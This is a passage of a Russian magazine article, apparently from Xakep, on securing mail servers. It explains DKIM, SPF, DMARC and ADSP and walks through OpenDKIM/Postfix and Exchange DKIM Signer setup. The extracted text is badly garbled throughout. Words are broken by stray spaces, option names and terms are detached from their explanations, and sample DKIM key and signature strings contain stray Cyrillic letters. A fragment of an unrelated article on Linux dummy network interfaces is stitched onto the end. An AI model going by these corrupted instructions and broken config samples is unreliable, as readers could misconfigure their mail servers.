торий  сер вера  всег да  хра нит  два  клю ча  шиф рования  — 

  и  .  С  помощью    фор миру ются  заголов ки
для  всей  исхо дящей  поч ты,  а  откры тый  ключ  как  раз  добав ляет ся  в  DNS‐
записи в виде TXT‐фай ла.

  (Domain  Keys  Identified  Mail)DKIM

от кры тый  (сер‐ 
тификат) зак рытый зак рытого  клю ча

Ста тус DKIM про веря ется авто мати чес ки на сто роне получа теля при сох‐ 
ранении пись ма в кон тей нер (имен ной поч товый ящик). И если домен в пись‐ 
ме не авто ризо ван для отправ ки сооб щений, то пись мо может быть помече но
подоз ритель ным  или  же  сра зу  помеще но  в  пап ку  «Спам»,  в  зависи мос ти
от  нас тро енной  полити ки  безопас ности.  Кста ти,  это  одна  из  клю чевых  при‐ 
чин, почему пись ма опре делен ных отпра вите лей пос тоян но попада ют в спам,
даже нес мотря на валид ность домена отпра вите ля.

Для работы с DKIM тре бует ся выпол нение сле дующих усло вий:
под дер жка DKIM поч товым сер вером (а она есть у всех сов ремен ных поч‐ 
товиков);

•

соз дание при ват ного и пуб лично го клю ча шиф рования (это нуж но сде лать
руч ками);

•

за несе ние в DNS домена записей, свя зан ных с DKIM (и это тоже руч ками).•

Прин цип работы DKIM

INFO

Для  инте ресу ющих ся  этой  темой  в  нашем  жур‐ 
нале  пуб ликовал ся  крат кий  гайд  «

»,  который
поможет  тебе  взгля нуть  на  проб лему  рас сылки
спа ма, вре донос ного ПО и фишин га гла зами вла‐ 
дель ца поч тового бот нета. :)

Как  нас тро ить
поч товый  сер вер  для  обхо да  спам‐филь тров:
руководс тво  по  DNS,  SPF,  DKIM

Что такое SPF?
  —  это  еще  одна  спе циаль ная  под пись,

содер жащая информа цию о сер верах, которые могут отправ лять поч ту с тво‐ 
его домена.  То есть SPF поз воля ет  вла дель цу домена  ука зать  в  TXT‐записи
для  DNS‐домена  спе циаль ным  обра зом  сфор мирован ную  стро ку,  содер‐ 
жащую весь спи сок сер веров, которые име ют пра во отправ лять email‐сооб‐ 
щения  с  обратны ми  адре сами  в  этом  домене.  А  если  ска зать  то  же  самое
понят ными  сло вами,  то  в  этой  записи мы  сооб щаем,  с  каких  поч товых  сер‐ 
веров мож но посылать пись ма от име ни сот рудни ков нашей ком пании. Воу!
Вот так прос то! В общем, наличие SPF сни жает веро ятность, что твое пись мо
попадет в спам.

  (Sender  Policy  Framework)SPF

Важ но  пом нить,  что  SPF‐запись  дол жна  быть  толь ко  одна  для  одно го
домена, хотя уже в рам ках одной SPF может содер жать ся нес коль ко записей.
И надо ска зать, что для под доменов будут нуж ны свои записи. И никак ина че!
Безопас ность тре бует вре мени и усер дия. :)

Прин цип работы SPF

Что такое DMARC?

 — это еще одна под пись, которая поз воля ет сер веру получа теля
при нять  решение,  что  делать  с  при шед шим  пись мом.  Важ но  заметить,  что
DMARC — это ско рее допол нитель ная фича к уже исполь зуемым DKIM и SPF.
Нап ример, если отправ ленное сооб щение не прош ло про вер ку DKIM и SPF,
то оно не прой дет и DMARC. Все логич но. А вот если пись мо успешно прош‐ 
ло  хотя  бы  одну  про вер ку  (DKIM  или  SPF),  то  и  про вер ку  DMARC  оно  тоже
пре одо леет. Так же при помощи DMARC мож но получать репор ты от поч товых
сис тем с информа цией, сколь ко через них пыталось прой ти или прош ло под‐ 
дель ных  сооб щений  на  ваш  домен.  Из  ска зан ного  ста новит ся  понят но,  что
DMARC  добав ляет ся  толь ко  пос ле  того,  как  уже  нас тро ены  записи  SPF
и DKIM.

 (Domain-based Message Authentication, Reporting and Con-

formance)

DMARC

Прин цип работы DMARC

От чего нель зя защитить ся с помощью DKIM, SPF и DMARC
С исполь зовани ем DKIM, SPF и DMARC мож но про тивос тоять 
и рас простра нению мал вари. Одна ко важ но понимать, что это не гаран тиру ет
безопас ности  в  слу чае  взло ма  сер вера,  нап ример  путем  ком про мета ции
админки или при мене ния экс пло ита, а так же если пись ма фор вардят ся через
иные поч товые сер висы с сом нитель ной репута цией или с пол ностью отсутс‐ 
тву ющи ми запися ми DKIM, SPF и DMARC.

email‐спу фин гу

Не кото рые  полез ные  ссыл ки  для  про вер ки  кор рек тнос ти  нас трой ки  DKIM‐
и SPF‐записей, а так же репута ции домена:
•   —  онлайн‐сер вис  про вер ки  кор рек тнос ти  SPF‐записи.
Для  про веде ния  тес та  на  сай те  ука зыва ешь  поч товый  адрес,  с  которо го
хочешь  отправ лять  пись ма,  и  IP‐адрес  поч тового  сер вера.  Если  все
хорошо,  то  пос ле  нес коль ких  секунд  ожи дания  вни зу  стра ницы  дол жна
появить ся зеленая над пись  .

SPF  Policy  Tester

PASS
•  — раз работ чики это го сер виса дают тебе адрес поч ты,
на который нуж но выс лать пись мо. Пос ле это го мож но прос мотреть отчет
о валид ности DKIM. Все прос то!

Dkimvalidator.com

•  — еще один вари ант ана логич ного сер виса, где тебе пре‐ 
дос тавля ется  адрес  поч ты  для  отправ ки  тес тового  сооб щения,  а  пос ле
это го  мож но  пос мотреть  отчет  о  дос тавке.  Если  воз никли  проб лемы,
из  пред став ленно го  репор та  мож но  понять,  в  чем  имен но  зак люча ются
косяки.

Mail‐tester.com

Так же не сто ит забывать о регис тра ции сво его сер вера в 
 для пуб личных поч товых сер веров (если ты, конеч но, адми нис три руешь

такой  сер вер).  Это  поз волит  тебе  не  толь ко  получать  ста тис тику  по  рас‐ 
сылкам,  но  и  зарабо тать  чуть  боль ше  доверия  от  это го  поч тового  сер виса.
Вот  самые  извес тные  и  час то  исполь зуемые  пос тмас теры:  , 
и  .

служ бах пос тмас‐ 
тера

Mail.RU Yandex
Gmail

ПРАКТИКА И ЕЩЕ РАЗ ПРАКТИКА
В  прак тичес кой  час ти  мы  рас смот рим  кон фигури рова ние  опи сан ных  выше
нас тро ек безопас ности на при мере двух наибо лее популяр ных поч товых сер‐ 
веров — опен сор сно го   на Debian (ну, или Ubuntu Server) и проп риетар‐ 
ного Microsoft Exchange Server 2013+. Пред полага ется, что поч товые сер веры
у тебя уже уста нов лены и нас тро ены под твой домен, поэто му рас смат ривать
будем толь ко само кон фигури рова ние фич на обез личен ных дан ных.

Postfix

Нас тра иваем SPF, DKIM и DMARC на Postfix (Debian)
Об щий прин цип работы нашего поч тового сер вера будет таков:
1. При нима ющий  сер вер  получа ет  пись мо  с  адре са  info@example.com,
отправ ленное с сер вера mx.example.com.

2. Сер вер получа теля дела ет зап рос к DNS для домена example.com и ищет
записи SPF и DKIM.

3. В слу чае если записей нет, пись му прос тавля ется ста тус neutral (кон крет но
по этим про вер кам) и пись мо про веря ется допол нитель ными филь тра ми.

4. В  слу чае  если  записи  обна руже ны,  про веря ется,  раз решено  ли  сер веру
mx.example.com отправ лять поч ту домена example.com.

5. Ес ли  домен  mx.example.com  не  най ден  в  спис ке  раз решен ных,  то
или пись мо отбра сыва ется, или ему уста нав лива ется ста тус neutral.

6. Ес ли  домен mx.example.com  таки  най ден  в  спис ке  раз решен ных,  пись му
уста нав лива ется ста тус Pass и повыша ется его рей тинг при про хож дении
дру гих филь тров.

Ну что, пог нали!

WARNING

Пе ред  любыми  опе раци ями  по  кон фигури рова‐ 
нию  сис темы  не  забывай  сде лать  бэкап!  Даже
одна неп равиль но вклю чен ная опция может отре‐ 
зать всех поль зовате лей от получе ния и отправ ки
поч товой  кор респон денции.  И  обя затель но  тес‐ 
тируй все изме нения перед перено сом в их про‐ 
дак шен!

Нас трой ка SPF-записи
Ес ли ты отправ ляешь все сооб щения толь ко с одно го сер вера (поч товые кли‐ 
енты не счи тают ся), то в SPF‐записи будет дос таточ но ука зать IP‐адрес это го
сер вера:

example.com. IN TXT "v=spf1 +a +mx ip4:31.34.56.78 ‐all"

Опи сание опций:
 — исполь зуемая вер сия SPF;• v=spf1

  —  при нимать  кор респон денцию  (Pass).  Этот  параметр  уста нов лен
по  умол чанию.  То  есть,  если  никаких  парамет ров  не  уста нов лено,
это авто мати чес ки  ;

• +

Pass

 — откло нить (Fail);• 

  —    откло нение  (SoftFail).  Пись мо  будет  при нято,  но  будет
помече но как спам;

• ~ мягкое

 — ней траль ное отно шение, то есть никаких дей ствий не пред при нимать;• ?

  —  вклю чает  в  себя  все  адре са  сер веров,  ука зан ные  в  MX‐записях
домена;

• mx

 — опция поз воля ет ука зать кон крет ный IP‐адрес или под сеть IP‐адре‐ 
сов;

• ip4

  —  ука зыва ем  поведе ние  в  слу чае  получе ния  пись ма  от  кон крет ного
домена;

• a

 — вклю чает в себя хос ты, раз решен ные SPF‐записью ука зан ного
домена;

• include

 — все осталь ные сер веры, не перечис ленные в SPF‐записи.• all

А  теперь,  исполь зуя  эту  шпар галку,  рас шифру ем  то,  что  ука зано  в  нашей
записи:

 — раз реша ет при ем писем от узла, IP‐адрес которо го сов пада ет с IP‐
адре сом в A‐записи для mydomen.ru;

• +a

 — раз реша ет при ем писем, если отправ ляющий хост ука зан в одной
из MX‐записей для mydomen.ru;

• +mx

  —  это  не  что  иное,  как  IP‐адрес  нашего  собс твен ного  поч тового
сер вера;

• ip4:

 — все сооб щения, не про шед шие верифи кацию с исполь зовани ем
перечис ленных механиз мов, будут отбро шены.

• all

Вот, в прин ципе, и все! Никаких пля сок с буб ном и сотен строк скрип тового
кода, нуж но толь ко про писать пра виль но ука зан ную стро ку и радовать ся жиз‐ 
ни лениво го сисад мина.

Про вер ка кор рек тнос ти вне сен ных SPF-записей
Об новле ние DNS‐записей обыч но занима ет некото рое вре мя. В зависи мос‐ 
ти  от  тво ей  локации  и  заг ружен ности  сер веров  может  прой ти  от  30  минут
до одних суток.

Итак,  что бы  про верить  кор рек тность  нашей  записи,  идем  на  ресурс 
  и  вби ваем  домен ное  имя,  для  которо го  толь ко  что  про писа ли  SPF.

Жмем кноп ку SPF Record Lookup и смот рим на резуль тат.

Mx‐
ToolBox

MxToolBox — сер вис про вер ки SPF‐записи

Нас трой ка DKIM-записи
Для начала на нашем поч товом сер вере необ ходимо уста новить пакет 

, пос коль ку имен но он отве чает за воз можность кон фигури рова ния DKIM.
Для  это го  от  име ни  супер поль зовате ля  отда дим  в  тер минале  сле дующие
коман ды:

opend‐
kim

$ apt‐get update
$ apt‐get install opendkim opendkim‐tools

Да лее соз дадим дирек тории, где будут хра нить ся клю чи для каж дого домена
(если поч товый сер вер обслу жива ет нес коль ко доменов):

$ mkdir /etc/opendkim/keys/
$ mkdir /etc/opendkim/keys/example.com/
$ mkdir /etc/opendkim/keys/example.org/

По том в обя затель ном поряд ке соз даем клю чи для наших доменов и селек‐ 
тор  (в  нашем  при мере  исполь зует ся  домен  example.com  и  example.org,
а селек тор  . Селек тор может быть любой. По сути, это все го лишь наз‐ 
вание для ссыл ки на ключ):

mail

$ opendkim‐genkey ‐D /etc/opendkim/keys/example.com/ ‐d example.com 
‐s mail
$ opendkim‐genkey ‐D /etc/opendkim/keys/example.org/ ‐d example.org 
‐s mail

При веден ная  выше  коман да  соз даст  фай лы 
  и    (и  ана логич но

для каж дого домена), с сек ретным и пуб личным клю чами соот ветс твен но.

/etc/opendkim/example.com/
mail.private /etc/opendkim/example.com/mail.txt

Файл  mail.txt  (для  соот ветс тву юще го  домена)  содер жит  пуб личный  ключ
(сер тификат),  который  надо  раз местить  на  DNS‐сер вере  в  TXT‐записи
для того домена, для которо го он был соз дан.

При мер дан ной записи:

mail._domainkey IN TXT "v=DKIM1;k=rsa; p=MIGfMA0GCSqGSIb3DQEBAQUA
dfmWEGERbLGARxEFI9Ibwx79tk1kMi36rFeAT4aLu4iI3ctPUWa7y0WcuMZGCBQ
MMutolT8IM9EGEHYT/rbKlhoeiA0r8qJZiIX/NkjkLIXzR+9h1i47dD5zCu4uE
FWRHETJAERWGQaC9hSHCcCwzosSRwBpaxIMZuRGQIDAQAB"

Вла дель цем клю чей   ука зыва ем opendkim: если это го не сде лать,
иног да  в  работе  сер вера  воз ника ют  ошиб ки.  Для  это го  пишем  в  кон соли
от рута:

обя затель но

$ chown opendkim:opendkim ‐R /etc/opendkim/keys

Те перь соз дадим еще три необ ходимых фай ла кон фигура ции:

$ touch /etc/opendkim/KeyTable
$ touch /etc/opendkim/SigningTable
$ touch /etc/opendkim/TrustedHosts

Со дер жимое фай ла   (здесь все сло ва   меня ем
на наш селек тор, в дан ном фай ле про писы вают ся домены и пути к сек ретным
клю чам):

/etc/opendkim/KeyTable mail

mail._domainkey.example.com example.com:mail:/etc/opendkim/keys/
example.com/mail.private
mail._domainkey.example.org example.org:mail:/etc/opendkim/keys/
example.org/mail.private

Смот рим содер жимое фай ла  :/etc/opendkim/SigningTable

*@example.com mail._domainkey.example.com
*@example.org mail._domainkey.example.org

В фай ле   опре деля ем так называ емые 
 и  ,  то есть  хос ты, домены и  IP‐адре са, сооб‐ 

щения от которых будут счи тать ся доверен ными и будут под писывать ся.

/etc/opendkim/TrustedHosts Exter‐
nalIgnoreList InternalHosts

Так как в основном кон фигура цион ном фай ле мы ука жем, что файл 
  име ет  тип    (файл  с  регуляр ными  выраже ниями),  мы  можем

исполь зовать в нем регуляр ные выраже ния. Нап ример,   озна‐ 
чает,  что сооб щения, пос тупа ющие от под доменов example.com,  тоже будут
доверен ными.

Trust‐
edHosts refile

*.example.com

При мер  фай ла    (у  тебя  он  будет  свой,
поэто му сле по не копируй):

/etc/opendkim/TrustedHosts

127.0.0.1
localhost
::1
192.168.0.1/24
*.example.com
*.example.org

Ну и конеч но же, нас тро им сам пакет opendkim. Для это го вне сем сле дующие
нас трой ки в кон фигура цион ный файл  :/etc/opendkim.conf

Syslog                  yes
UMask                   002
OversignHeaders         From
Mode                    s
LogWhy                  yes
SyslogSuccess           yes
Canonicalization        relaxed/simple
KeyTable                /etc/opendkim/KeyTable
SigningTable            refile:/etc/opendkim/SigningTable
Socket                  inet:8891@localhost
ReportAddress           root
AutoRestart             Yes
AutoRestartRate         10/1h
ExternalIgnoreList      refile:/etc/opendkim/TrustedHosts
InternalHosts           refile:/etc/opendkim/TrustedHosts
PidFile                 /var/run/opendkim/opendkim.pid
SignatureAlgorithm      rsa‐sha256
UserID                  opendkim:opendkim

А вот рас шифров ка этих магичес ких слов:
 — авто мати чес кий переза пуск демона в слу чае ошиб ки;• AutoRestart

 —  опре деля ет  мак сималь ное  количес тво  переза пус‐ 
ков  в  еди ницу  вре мени,  пос ле  чего филь тр  оста нав лива ется.  Нап ример,
зна чение 10/1h говорит о том, что раз решено не более десяти авто мати‐ 
чес ких переза пус ков за час, если зна чение будет пре выше но — авто пере‐ 
запуск в слу чае ошиб ки будет отклю чен;

• AutoRestartRate

 — пре дос тавля ет все пра ва дос тупа груп пе поль зовате лей, ука зан‐ 
ной в UserID, и поз воля ет дру гим поль зовате лям читать и выпол нять фай‐ 
лы;

• UMask

,  ,    —  эти  парамет ры  нас тра ивают
ведение логов с помощью сис темно го демона жур налиро вания syslog;

• Syslog SyslogSuccess LogWhy

  —  опре деля ет  методы  пре обра зова ния,  исполь‐ 
зуемые при под писании сооб щения;

• Canonicalization

ме тод    не  поз воля ет  прак тичес ки  никаких  изме нений,  в  то  вре мя
как  метод  relaxed  допус кает  нез начитель ные  изме нения  (нап ример,
замена  про бела).  Зна чение    ука зыва ет,  что  заголо вок
сооб щения будет обра баты вать ся методом  relaxed, а  тело сооб щения —
методом  ;

• simple

relaxed/simple

simple

  —  опре деля ет  внеш ние  хос ты,  которые  могут
отправ лять  поч ту  через  сер вер  в  качес тве  одно го  из  под писан ных
доменов без учет ных дан ных;

• ExternalIgnoreList

 — опре деля ет спи сок внут ренних хос тов, поч товые сооб‐ 
щения от которых не дол жны про верять ся, но дол жны быть под писаны;

• InternalHosts

 — файл‐кар та наз ваний и путей к сек ретным клю чам;• KeyTable

 — спи сок под писей, которые будут при менять ся на осно‐ 
вании заголов ка пись ма, ука зан ного в поле  ;

• SigningTable

From

 —  режимы  работы;  в  дан ном  слу чае  выс тупа ет  в  качес тве 
(филь тра ция  писем  до  попада ния  в  оче редь  сооб щений,  про писы вает ся
в  Postfix  в  main.cf,  см.  ниже),  под писыва юще го  (s)  и  верифи като ра  (v).
В нашем слу чае мы будем толь ко под писывать;

• Mode milter

PidFile — путь к фай лу Pid, который содер жит иден тифика цион ный номер
про цес са;

•

SignatureAlgorithm — ука зыва ет исполь зуемый алго ритм элек трон ной под‐ 
писи;

•

UserID — ука зыва ет, под каким поль зовате лем и груп пой дол жен работать
про цесс opendkim;

•

Socket  —  milter  будет  слу шать  на  ука зан ном  здесь  сокете,  Postfix  будет
отправ лять  сооб щения  opendkim  для  под писи  и  про вер ки  через  этот
сокет.  В  нашем  слу чае  будет  исполь зовать ся  localhost  и  8891‐й  порт
(8891@localhost).

•

Пос ле  всех  про делан ных  изме нений  обя затель но  переза пус каем  демон
opendkim:

$ /etc/init.d/opendkim start

Так же обя затель но про писы ваем для Postfix в фай ле   вот эти строч ки:main.cf

smtpd_milters = inet:localhost:8891
non_smtpd_milters = inet:localhost:8891
milter_default_action = accept
milter_protocol = 2

Ес ли  у  тебя  уже исполь зует ся milter  (нап ример, для SpamAssasin),  тог да  эти
же строч ки будут выг лядеть так:

smtpd_milters = unix:/spamass/spamass.sock, inet:localhost:8891
non_smtpd_milters = unix:/spamass/spamass.sock, inet:localhost:8891
milter_default_action = accept
milter_protocol = 2

Пос ле вне сения всех изме нений в кон фигура цион ный файл Postfix мы сно ва
его переза пус тим:

$ service postfix reload

Оп ределим полити ку ADSP (Author Domain Signing Practices)
 — допол нитель ное рас ширение DKIM, пред назна чен ное для про вер ки

под линнос ти  email  через  DKIM.  С  помощью  это го  механиз ма  домен  может
пуб ликовать  методы  под писи,  которые  он  при нима ет  при  переда че  поч ты
от име ни ассо цииро ван ных авто ров.

ADSP

Что бы нас тро ить полити ку ADSP, нуж но раз местить на DNS‐сер вере в TXT‐
записи  для  каж дого  домена,  для  которо го  исполь зует ся  DKIM,  сле дующую
строч ку:

_adsp._domainkey IN TXT "dkim=unknown"

Продолжение статьи →

https://ru.wikipedia.org/wiki/DomainKeys_Identified_Mail
https://xakep.ru/2017/01/09/howto-configure-mail-server-spam-filters/
https://ru.wikipedia.org/wiki/Sender_Policy_Framework
https://ru.wikipedia.org/wiki/DMARC
https://ru.wikipedia.org/wiki/%D0%A1%D0%BF%D1%83%D1%84%D0%B8%D0%BD%D0%B3#Spoofing_E-mail-%D0%B0%D0%B4%D1%80%D0%B5%D1%81%D0%B0
http://vamsoft.com/support/tools/spf-policy-tester
http://dkimvalidator.com/
http://www.mail-tester.com/
https://emailsoldiers.ru/blog/postmasters-2
https://postmaster.mail.ru/
https://postoffice.yandex.ru/
https://postmaster.google.com/
http://www.postfix.org/
https://mxtoolbox.com/spf.aspx
http://opendkim.org/
https://en.wikipedia.org/wiki/Author_Domain_Signing_Practices


ЗАЩИЩАЕМ
ПОЧТОВЫЙ СЕРВЕР
БЕЗ АНТИВИРУСА

НАСТРОЙКА DKIM‐, SPF‐ И DMARC‐ЗАПИСЕЙ

АДМИН  НАЧАЛО СТАТЬИ←

Зна чения могут быть такими:
 — зна чение по умол чанию (ана логич но тому, что ука зан ной DNS‐

записи  вооб ще  нет).  Дан ное  зна чение  говорит  поч товым  сер верам  (на
которые ты будешь отправ лять пись ма) о том, что пись ма могут быть как с
под писью DKIM, так и без нее;

• unknown

 — говорит, что все пись ма будут под писаны;• all

 — говорит, что все пись ма будут под писаны, а если пись мо
не под писано или под пись невер на, то его сле дует уда лить.

• discardable

Про вер ка кор рек тнос ти вне сен ной DKIM-записи
Для  про вер ки  нас тро енно го DKIM  уже  ничего  не  нуж но ждать,  как  это  было
в  пре дыду щем  слу чае.  Мож но  прос то  отпра вить  пись мо  на  адрес 

 и получить ответ.
check‐

auth@verifier.port25.com
Вот при мер такого отве та, сооб щающий, что DKIM нас тро ен кор рек тно:

The results are as follows:
DKIM Signature validation: pass
DKIM Author Domain Signing Practices:

Ура! Все получи лось! Откры вай бутыл ку пива!
Так же  для  про вер ки  мож но  отпра вить  пись мо  (нап ример,  себе  же

на  какой‐нибудь  из  обще дос тупных  поч товых  сер веров  вро де mail.yandex.ru
или mail.ru), открыть его исходник и най ти в теле такие строч ки:

Authentication‐Results: mxfront1g.mail.yandex.net; spf=pass (mxfron
t1g.mail.yandex.net:
domain of example.com designates 31.34.56.78 as permitted sender) 

smtp.mail=tester@example.com;
dkim=pass header.i=@example.com

и еще вот такие:

DKIM‐Signature: v=1; a=rsa‐sha256; c=relaxed/simple; d=example.com; s
=mail;
t=1484724874; bh=LGgFxMGKg3waFbi+enIwqHYdnPLt2IsuxgR6s1EEHvg=;
h=From:To:Subject:Date:From;
b=fvFO2qXwC3VRfbUVaG4SW3vt7РтИаW8+1kKbKuP25/w/UZ7TLq1TruOYhgoCPpk6B/
tz93DY5/1mzbPDTiBuEJoh37108ПкJDTWUGqMucoOhXXhHBdtCfns+L6lW5oI+stMP
5g+xUYyz7/a3oy0MstIFJnhjpJlRwgeS/JPjPfuQ=

Нас трой ка DMARC
Пос ледний штрих нашего ману ала — это нас трой ка DMARC. Как мы уже выяс‐ 
нили, DMARC — это опци ональ ная вещь, которая поз воля ет нам опре делить
порядок  работы  с  пись мами,  не  про шед шими  про вер ку  филь тров  SPF
или DKIM.

Все дела ем точ но так же через DNS‐запись типа TXT:

хост: _dmarc
значение: v=DMARC1; p=none

Здесь мы уста нав лива ем, что, если пись ма не прош ли SPF или DKIM, ничего
делать не нуж но. Но мож но пос тавить мар кер  , тог да такие пись ма
будут сра зу же дро пать ся.

p=reject

Ну вот и все на этом! Нас трой ка DKIM‐, SPF‐ и DMARC‐записей для open
sources MTA  завер шена!  А  впе реди нас ждет  нас трой ка  ана логич ных опций,
но уже на поч товике от Microsoft.

Кон фигури руем SPF и DKIM на MS Exchange Server
Бе зус ловно,  мы  не  можем  обой ти  сто роной  огромную  ауди торию  сисад‐ 
минов,  по  сво ей  или  не  сво ей  воле  выс тро ивших  кор поратив ный  ИТ‐лан‐ 
дшафт  на  базе  про дук тов  всем  извес тной  кор порации  Microsoft.  Поэто му
ниже мы рас смот рим нас трой ку SPF‐ и DKIM‐записей для поч тового сер вера
MS Exchange Server. Дол жен ска зать, что все при веден ные здесь нас трой ки
были мною про тес тирова ны на вер сии MS Exchange Server начиная с 2013,
хотя и  не исклю чены  какие‐нибудь при колы с  наибо лее акту аль ным сегод ня
бил дом MS  Exchange  Server  2019  (вер сия  15.2).  Так  что  вни матель но  читай
changelog’и и докумен тацию ко всем исполь зуемым ути литам.

Ус танов ка Exchange DKIM Signer
Пе ред началом всех дей ствий нам понадо бит ся уста новить спе циаль ную ути‐ 
литу Exchange DKIM Signer.

Для  это го  мы  идем  на    и  ска чива ем
отту да файл с наз вани ем  . Далее рас паковы ваем  заг ружен ный
ZIP‐архив в любую вре мен ную дирек торию на дис ке С:. Обя затель но от име‐ 
ни  адми нис тра тора  запус каем  PowerShell‐скрипт 

 и перехо дим в рас пакован ную пап ку.

стра нич ку  GitHub  тул зы  DKIM  Signer
Source Code

Exchange  Management 
Shell

Ес ли  воз никнут  ошиб ки,  перед  тем  как  запус тить  уста новоч ный  скрипт 
  зададим  полити ку  выпол нения  PowerShell‐скрип тов  сле‐ 

дующей коман дой:
,.\install.ps1

Set‐ExecutionPolicy Unrestricted

Или еще вари ант:

Set‐ExecutionPolicy RemoteSigned

Те перь  наконец‐то  запус каем  сам  скрипт  уста нов ки    и  ждем
завер шения опе рации.

.\install.ps1

Для тех, кто не очень любит работать с кон солью, есть вари ант гра фичес‐ 
кой уста нов ки Exchange DKIM Signer. Для это го идем в 
и  ска чива ем  там  файл  с  име нем  .  Рас‐ 
паковы ваем  содер жимое  архи ва  в  про изволь ную  пап ку  на    и  запус каем
из нее исполня емый файл  ,  в открыв шемся
окне выбира ем, какую вер сию будем уста нав ливать, жмем Install и ждем нес‐ 
коль ко секунд до завер шения опе рации.

ре пози торий на GitHub
Configuration.DkimSigner.zip

C:\
Configuration.DkimSigner.exe

Стар товое окно GUI‐уста нов ки ути литы Exchange DKIM Signer

Вы бор вер сии и прос мотр дру гих парамет ров уста нов ки

Кон фигури рова ние аген та Exchange DKIM Signer
Не зак рывая пре дыду щее окно Exchange DKIM Signer, на вклад ке  Information
нажима ем кноп ку Configure.

В открыв шемся окне выбира ем Exchange DkimSigner и понижа ем при ори тет
до самого низ кого, в моем слу чае это зна чение  . Такой при ори тет озна чает,
что  поч товое  сооб щение  будет  обра баты вать ся  этим  аген том  в  пос леднюю
оче редь.
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Да лее  перехо дим  на  вклад ку  DKIM  Settings  и  перек люча ем  алго ритм
хеширо вания на RsaSha256. Акти виру ем опции Body Canonicalization, а Head‐
er Canonicalization выс тавля ем в зна чение  . Тут же, не зак рывая окно,
мож но  нас тро ить  заголов ки  поч товых  сооб щений,  которые  будут  под‐ 
писывать ся. Одна ко эта нас трой ка для работы не кри тич на, поэто му оста вим
все как есть по умол чанию.

Simple

Пос ле всех пра вок не забыва ем нажать кноп ку Save configuration.
Пе рехо дим  на  вклад ку  Domain  Settings,  где  уда ляем  пре дус танов ленные

домены  по  умол чанию —  example.com  и  example.org.  Нажима ем  на  кноп ку
Add,  вво дим  свои  зна чения  и  запол няем  основные  поля.  Поле  Domain
Name  —  это  имя  нашего  поч тового  домена;  нап ример,  для  адре сов  типа

 это поле при мет зна чение  .UserName@company.com company.com

По ле  Selector  —  это  про изволь ная  стро ка,  которая  добав ляет ся  к  име ни
домена. С помощью поля   пра виль но иден тифици рует ся public key
в TXT‐записи на DNS‐сер вере.

Selector

Ес ли  взять  уста нов ленное  нами  зна чение  из  поля  Selector  и  пос мотреть
на  Email  Headers  отправ ляемых  с  сер вера  писем,  то  мы  уви дим  тег  ,
который име ет зна чение из поля  . Тег   име ет зна чение, ука зыва‐ 
ющее на наш поч товый домен. Таким обра зом сер вер получа теля понима ет,
какой имен но public key на нашем DNS‐сер вере нуж но про верять.

s=
Selector d=

На  сле дующем  шаге  генери руем  клю чевую  пару  «откры тый —  зак рытый
ключ» (public key и private key). Private key будет хра нить ся стро го на сер вере,
и с его помощью будет под писывать ся вся исхо дящая поч та. Нажима ем кноп‐ 
ку Generate Key и сох раня ем  ‐файл в пап ку  .*.xml keys

Пос ле  всех  этих  дей ствий  на  выходе  дол жно  получить ся  три фай ла  в  пап ке
keys:

;• MailDomain.ru.xml

  —  файл  содер жит  public  key,  в  будущем  мы
раз местим его в TXT‐записи на нашем внеш нем DNS‐сер вере;

• MailDomain.ru.xml.pub

 — файл содер жит private key.• MailDomain.ru.xml.pem

Пос ле сох ранения всех XML‐фай лов не забыва ем нажать  , ина че
изме нения не сох ранят ся.

Save Domain

Да лее Exchange DKIM Signer пред лага ет нам соз дать TXT‐запись на внеш‐ 
нем DNS‐сер вере, который обслу жива ет наш поч товый домен.

Про вер ка работос пособ ности поч тового сер вера пос ле кон -
фигури рова ния Exchange DKIM Signer
Те перь мы отпра вим тес товые пись ма на извес тные поч товые домены, такие,
к при меру,  как gmail.com и  yandex.ru,  и пос мотрим,  как они доходят. Мож но
вос поль зовать ся  сер висом  ,  вве дя  IP‐адрес  нашего  поч товика
и про верив таким обра зом кор рек тность DKIM‐ и SPF‐записей.

MxToolBox

Про вер ка работос пособ ности нас тро енных опций безопас ности Ex‐
change DKIM Signer

ЗАКЛЮЧЕНИЕ
Се год ня  мы  рас смот рели  дос тупный  каж дому  адми ну  прос той  и  не  тре‐ 
бующий  заморо чек  набор  штат ных  средств,  помога ющих  уси лить  безопас‐ 
ность  поч товых  сер веров  под  *NIX  и  сер веры  Microsoft.  Гра мот но  скон‐ 
фигури рован ные DKIM‐, SPF‐ и DMARC‐записи поз волят по мак симуму сни‐ 
зить  поток  спа ма,  фей ковых  рас сылок,  писем  с  мал варью  и  в  целом  хоть
как‐то  сок ратить  нелеги тим ный  тра фик  меж ду  поч товыми  сер верами
в интерне те. Конеч но, пред ложен ное решение — это не панацея от всех бед,
но это еще один допол нитель ный барь ер на пути зло умыш ленни ков, при том
еще и бес плат ный.

https://github.com/Pro/dkim-exchange
https://github.com/Pro/dkim-exchange/releases/latest
https://mxtoolbox.com/DMARC.aspx
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АДМИН

Боль шую  часть  вре мени  мы  исполь зуем
толь ко  самые  прос тые  воз можнос ти
сетево го  сте ка  Linux.  Мар шрут  по  умол‐ 
чанию,  SNAT,  нес коль ко  пра вил  netfilter  —
все,  что  нуж но  сред нему  мар шру тиза тору.
Одна ко  сущес тву ет  мно жес тво  фун кций
для менее рас простра нен ных и даже весь‐ 
ма нес тандар тных ситу аций.

Нап ример,  воз можность  исполь зовать  нес тандар тный  широко веща тель ный
адрес  IPv4 

.  Тех ничес ки  ни  один  RFC  это го  не  зап реща ет.  Я  этой  воз можностью
не вос поль зовал ся ни разу, но поч ти уве рен, что кто‐то нашел ей осмыслен‐ 
ное при мене ние.

sudo  ip  addr  add  192.0.2.1/24  broadcast  192.0.2.2  dev 
eth0

DUMMY INTERFACES
В отли чие от Cisco  IOS и сис тем семей ства BSD, в Linux может быть  толь ко
один  loopback  interface,  который  всег да  называ ется    и  несет  на  себе  тот
самый адрес 127.0.0.1/8. Если нуж но прос то нес коль ко адре сов для раз ных
демонов, мож но прис воить их на тот же интерфейс  .

lo

lo
Но  что  делать,  если  нуж но  нес коль ко  незави симых  локаль ных  интерфей‐ 

сов?
Кто‐то совету ет решать эту проб лему исполь зовани ем не по наз начению

интерфей сов  дру гих  типов,  вро де  мос тов.  Не  верь  им.  Пра виль ное
решение  —  исполь зовать  интерфей сы  типа  dummy,  которые  ана логич ны
loopback  во  всем,  кро ме  наз вания.  Исто ричес ки  так  сло жилось,  что
loopback  —  это  уни каль ный  интерфейс  ,  и  для  сов мести мос ти  сде лали
отдель ный тип.

lo

$ ip link add name dum0 type dummy
$ ip link set dum0 up
$ ip address add 192.0.2.10/32 dev dum0

А зачем мне нес коль ко интерфей сов loopback?
